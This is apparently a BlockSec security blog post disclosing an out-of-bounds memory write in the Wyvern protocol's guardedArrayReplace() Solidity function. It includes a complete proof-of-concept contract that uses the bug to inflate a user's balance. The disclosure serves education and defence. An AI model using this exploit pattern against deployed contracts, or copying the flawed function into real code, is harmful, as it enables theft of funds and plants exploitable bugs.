Back to Blog

A New Memory Overwrite Vulnerability Discovered in Wyvern Protocol

Code Auditing
September 8, 2022

Introduction

Our vulnerability detection system found a memory overwrite vulnerability in the latest implementation of the Wyvern library, which belongs to the Wyvern decentralized exchange protocol that was previously used by OpenSea. This bug may lead to arbitrary storage write.

We have tried to contact the project (e.g., through Email and Social media), but got no response yet. As OpenSea has migrated to Seaport protocol, we believe it is safe to disclose the detailed information to the public. Besides, we’d like to share these findings to engage the community, as the bug itself is a little bit tricky, while the exploitation is quite interesting.

Description

The vulnerable code can be found in the official code repo with the commit hash 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9.

Specifically, this bug lies in the guardedArrayReplace() function of ArrayUtils.sol. As the name suggests, this function is used to selectively copy one dynamically-size byte array (i.e., the second parameter named desired) to another one (i.e., the first parameter named array). Note that this function is implemented to perform a word-level (i.e. 0x20 bytes) operation, hence the code logic can be divided into two steps based on the calculation result of the division.

For the quotient part (i.e., words = array.length / 0x20), the code logic from line 42 to line 49 will copy the desired array to the target array words by words. This step works as expected, though the assert statement in line 39 is useless due to the integer arithmetic.

After the previous step, if the division produces a remainder, it means there still exist some bytes left without being correctly copied. The code logic from line 52 to line 66 is designed to handle those bytes. Unfortunately, the if statement in line 52 mistakenly uses the quotient (words, i.e., array.length / 0x20) rather than the remainder (array.length % 0x20) to perform the check.

The severity

This bug may lead to arbitrary storage write. Suppose array.length is exactly divisible by 0x20, the copying operation is actually done in the loop logic. However, in most cases, the function will enter the vulnerable logic and try to copy a word behind the desired array to the target array, which inevitably causes an out-of-bounds access. Even worse, the incorrect logic could be exploited to overwrite a word to the end of the target array, which is an unknown memory area that can be of any use.

How to exploit this bug?

We have developed a PoC contract to illustrate the potential attack vector. The PoC contract has two functions, the first one named test() is used to perform the attack, while the second one is just the vulnerable guardedArrayReplace() function.

Specifically, in the test() function, we first define some in-memory bytes (a, b, and mask) and an array (i.e., _rewards). The _rewards defined here will be used to calculate the user’s rewards. After invoking the guardedArrayReplace() function to copy a to b with mask, _rewards will be added to the user’s balance (i.e., balances[msg.sender]).

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

Here we use Remix to demonstrate the result. It is worth noting that, initially we don’t assign any value to _rewards and balances. After the exploitation, the user balance is set to an extremely large value (as shown in the red rectangle).

Conclusion

Although rare, such a memory overwrite vulnerabilities may still exist in the smart contracts. Developers need to pay attention to the code logic that manipulates the memory.

About BlockSec

BlockSec is a pioneering blockchain security company established in 2021 by a group of globally distinguished security experts. The company is committed to enhancing security and usability for the emerging Web3 world in order to facilitate its mass adoption. To this end, BlockSec provides smart contract and EVM chain security auditing services, the Phalcon platform for security development and blocking threats proactively, the MetaSleuth platform for fund tracking and investigation, and MetaDock extension for web3 builders surfing efficiently in the crypto world.

To date, the company has served over 300 esteemed clients such as MetaMask, Uniswap Foundation, Compound, Forta, and PancakeSwap, and received tens of millions of US dollars in two rounds of financing from preeminent investors, including Matrix Partners, Vitalbridge Capital, and Fenbushi Capital.

Official website: https://blocksec.com/

Official Twitter account: https://twitter.com/BlockSecTeam

Sign up for the latest updates
~$18M Lost: jaredFromSubway, Aztec & More | BlockSec Weekly
Security Insights

~$18M Lost: jaredFromSubway, Aztec & More | BlockSec Weekly

This weekly blockchain security report covers June 15 to June 21, 2026, with 3 notable incidents across Ethereum and BNB Chain totaling approximately $18.3M in losses. Two incidents are analyzed in detail. Based on on-chain analysis, the highlighted jaredFromSubway incident reveals a reversed approval attack pattern: unlike traditional exploits where attackers abuse vulnerabilities in trusted DeFi contracts to drain user-approved assets, this MEV bot proactively approved its own assets to untrusted third-party contracts for arbitrage. The attacker constructed fake wrapper tokens and swap pools that emitted real events but never consumed the granted allowances, with reported total losses of ~$15M. The report also covers Aztec's second exploit in three days, where a missing equality constraint between two witnesses for `old_data_root` in the escape hatch ZK circuit allowed the attacker to prove ownership of fabricated notes against a fake Merkle tree while passing on-chain root validation.

Web3 Companion: The Open-Source Secure Agentic Wallet

Web3 Companion: The Open-Source Secure Agentic Wallet

BlockSec open-sources Web3 Companion, a security-first agentic wallet that treats its own AI agent as untrusted and uses key isolation, hard policies, and Passkey to protect on-chain assets.

~$5.98M Lost: Aztec, Raydium & More | BlockSec Weekly
Security Insights

~$5.98M Lost: Aztec, Raydium & More | BlockSec Weekly

This weekly blockchain security report covers the period of June 8 to June 14, 2026, analyzing 4 notable incidents across Ethereum and Solana with total losses of approximately $5.98M. The highlighted events include Aztec Connect, where a missing input validation allowed the rollup's proof path and L1 settlement to reach inconsistent states, and Raydium, where a missing validation check on the legacy AMM v3 program allowed an attacker to manipulate the LP token redemption calculation and drain four pools. Both vulnerabilities had been live for years before exploitation. The report examines attack types including lack of input validation, integer overflow, and governance capture.

Best Security Auditor for Web3

Validate design, code, and business logic before launch. Aligned with the highest industry security standards.

BlockSec Audit